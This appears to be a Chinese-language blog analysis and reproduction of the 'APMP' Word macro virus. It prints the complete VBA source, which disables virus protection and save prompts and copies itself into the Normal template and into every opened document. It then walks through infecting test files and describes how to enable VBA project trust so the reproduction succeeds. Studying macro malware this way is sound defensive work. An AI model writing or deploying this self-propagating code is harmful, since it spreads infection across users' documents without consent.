给活动文档插入恶意代码的感染模板框架
将代码(可以是恶意的)保存到模板(NormalTemplate)中,插入到打开的Office文件(ActiveDocument):
'APMP
'KILL
Private Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then _
Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
With Host
If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, MyCode
If ThisDocument = NormalTemplate Then _
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End With
End Sub
宏代码解读
结论先行
感染型代码,无危害。
根据搜索结果的分布,大部分集中在论文类学术类的文档中,看起来像是大学的毕业论文课题?
代码逻辑
感染标记
Line1:’APMP+Line2:’KILL:感染标记,在Line13时用来检测
宏代码框架
隐藏设置
- On Error Resume Next:如果这句代码出现错误,就忽略掉这句,继续执行下一句代码
- Application.DisplayStatusBar = False:隐藏状态条,防止显示宏的运行状态
- Options.VirusProtection = False:关闭病毒保护功能
Options.SaveNormalPrompt = False:如果公用模板被修改,不给用户提示窗口而直接保存
获取代码和对象
MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20):获取当前文档的代码Line01-20
- Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule:获取公用模板的代码对象,设置为变量“Set”
If ThisDocument = NormalTemplate Then _:判断当前文档是否等于公用模板对象
- 是:
- Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule:获取当前活动文档的代码对象
- ActiveDocument:具有焦点的文档,用户当前正在查看的文档
感染检测
- ActiveDocument:具有焦点的文档,用户当前正在查看的文档
- Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule:获取当前活动文档的代码对象
- 是:
With Host:开始对Host进行操作
If .Lines(1, 1) = “APMP” & .Lines(1, 2) <> “KILL” Then:检查是否有感染标志
删除旧代码写入新代码
否,未被感染:
- .DeleteLines 1, .CountOfLines:应该是省略了主语“Host”,即操作公用模板的代码对象,删除公用模板的所有代码行(从第1行到所有行(CountOfLines))
- .InsertLines 1, MyCode:从第1行开始插入代码MyCode
检测后保存结束
If ThisDocument = NormalTemplate Then _:判断当前的文档是否等于公用模块
是: ActiveDocument.SaveAs ActiveDocument.FullName:保存当前活动文档复现
干净的空文件
空Normal
未打开恶意文件时,Normal为空:
为了能看到前后区别,在Normal.ThisDocument中手动添加一些字符串作为标记:
打开恶意文件
原始感染情况
随意输入一个宏名:
此时Normal的ThisDocument已经被写入(因为恶意代码已运行):
恶意文档的宏代码:
修改感染代码进行复现
手动修改代码作为标记(演示使用)
修改一行代码作为区别和提示:
代码删除Normal
代码写入Normal
执行完原始代码后,Normal已经被写入新的代码了:
此时即使原始的恶意代码文档被关了,恶意代码依旧保留在Normal中。
为了方便理解,此处再将添加的备注“’原始恶意代码”改为“’Normal恶意代码”:
保留在Normal中后打开白文档
白文档原始数据
大小为10195KB:
被修改
插入恶意代码
打开后查看宏代码,发现已经被插入了Normal中的代码:
文档元数据
字节从10195变为10210,修改时间接近打开文档的时候(打开后两三秒,恶意代码执行完成,插入后被保存):
在Normal中执行代码
如果是在Normal中执行代码,有2处“If”会成立。
接下来会将恶意代码写入到活动文档中(如下文中的“建瓯最坏-空.docx”):
活动文档
写入一些字符串作为演示参考,无实际意义:
未删除
此时恶意代码还未执行到删除:
被删除
执行到删除代码后:
活动文档的ThisDocument被删除:
写入恶意代码
执行完写入代码:
活动文档被写入了恶意代码:
保存活动文档
由于恶意代码在Normal中执行,故会保存活动文档,确保被插入的恶意代码被保留在新的文档中,已达到感染的目的:
时间
此时查看文档时间,可以发现已被修改覆盖:
需要注意的
文档类型
docx
如果是docx类型,无法保留宏代码,无法无痕默认:
doc
但如果是doc类型,是可以保留宏代码的,所以在执行恶意代码时几乎是无痕完成感染:
不被信任
如果复现失败,检查是否VBProject是否不被信任:
设置信任
从“Word选项-信任中心-信任中心设置”,勾选“开发人员宏设置-信任对VBA工程对项目模型的访问”即可:
总结
这个感染是很简单的逻辑,Normal就是代码入门学的交换两个变量的值,需要用到的tmp(作为容器)。
原恶意文档.恶意宏代码→保存→tmp(Normal)→插入→正常文档.宏代码。参考
Office宏病毒APMP源码